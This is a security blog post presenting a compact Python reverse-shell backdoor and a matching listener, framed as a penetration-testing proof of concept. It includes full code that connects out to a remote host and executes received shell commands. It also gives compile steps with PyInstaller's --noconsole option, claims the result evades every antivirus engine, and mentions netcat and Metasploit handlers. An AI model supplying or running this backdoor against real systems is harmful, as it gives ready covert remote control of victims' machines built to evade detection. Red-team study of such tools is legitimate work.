Skip to Main Content
June 20, 2011

Creating a 13 line backdoor worry free of A/V

Written by David Kennedy
Penetration Testing Security Testing & Analysis
When writing the SET interactive shell for the Social-Engineer Toolkit, I had to ponder what the best route in creating a flexible reverse shell. This backdoor had to be a familiar programming language (to me) and be modular for me to add new things onto it. Python being my strongest language posed some significant challenges as it was not a compiled language. Fortunately there is a way to compile python into a binary by wrapping the interpreter and necessary modules into an executable. As you can imagine this can be somewhat large. Writing a backdoor in C/C++ can be extremely small however when byte compiled in Python is around 1.4 megs packed. In SET I decided to take the route of leveraging Python and byte compiling for the SET interactive shell however I did it in a multi-staged approach where the initial downloader is written in native C which then downloads and executes the python-based compiled backdoor in the background. This allowed quick execution and redirection without the victim (if on a slow connection) downloading a large backdoor. What was also interesting is that since it integrates the python-interpreter in place. Just as a small example of how to create a very small backdoor via python, compile it and evade all 43 anti-virus vendors in 13 lines. I'm sure this could be slimmed down but I left some expanded definitions to make it clear to the reader.. This was just a small PoC for fun. For the listener you can just run nc -lvp 443 as the listener. Cool thing with this is it is platform independent so you can compile it for OSX, *nix, or Windows.

#!/usr/bin/python
# imports here
import socket,subprocess
HOST = '172.16.32.137'    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
     # recieve shell command
     data = s.recv(1024)
     # if its quit, then break out and close socket
     if data == "quit": break
     # do shell command
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     # read output
     stdout_value = proc.stdout.read() + proc.stderr.read()
     # send output to attacker
     s.send(stdout_value)
# close socket
s.close()
Be sure to change the IP-Address and PORT above. In order to compile this, download pyinstaller and on windows for example or nix, create a file called compile.bat and save the above code as shell.py and put the following in it:

PATH=C:Python27  # Put your path to Python if it isn't there, otherwise safely delete that
python Configure.py
python Makespec.py --onefile --noconsole shell.py
python Build.py shellshell.spec
This will create a compiled based executable under shell/dist. Simply run shell.exe and have netcat listening up. Surprisingly upload it to virustotal.com and you get 0/43 detected. Obviously this is a custom reverse shell, so A/V really shouldn't be triggering on this. You can create your own custom listener as well:

#!/usr/bin/python
# import python modules
from socket import *
HOST = ''                 # '' means bind to all interfaces
PORT = 443                #  port 
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print "Listening on 0.0.0.0:%s" % str(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connected by ipaddress
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
# start loop
while 1:
     # enter shell command
     command = raw_input("Enter shell command or quit: ")
     # send shell command
     conn.send(command)
     # if we specify quit then break out of loop and close socket
     if command == "quit": break
     # receive output from linux command
     data = conn.recv(1024)
     # print the output of the linux command
     print data
# close socket
conn.close()
Update: You can also use use exploit/multi/handler/set PAYLOAD linux/shell_reverse_tcp windows/shell_reverse_tcp etc. as a payload option in Metasploit to handler everything and take advantage of post exploitation modules if desired. Thanks Egypt!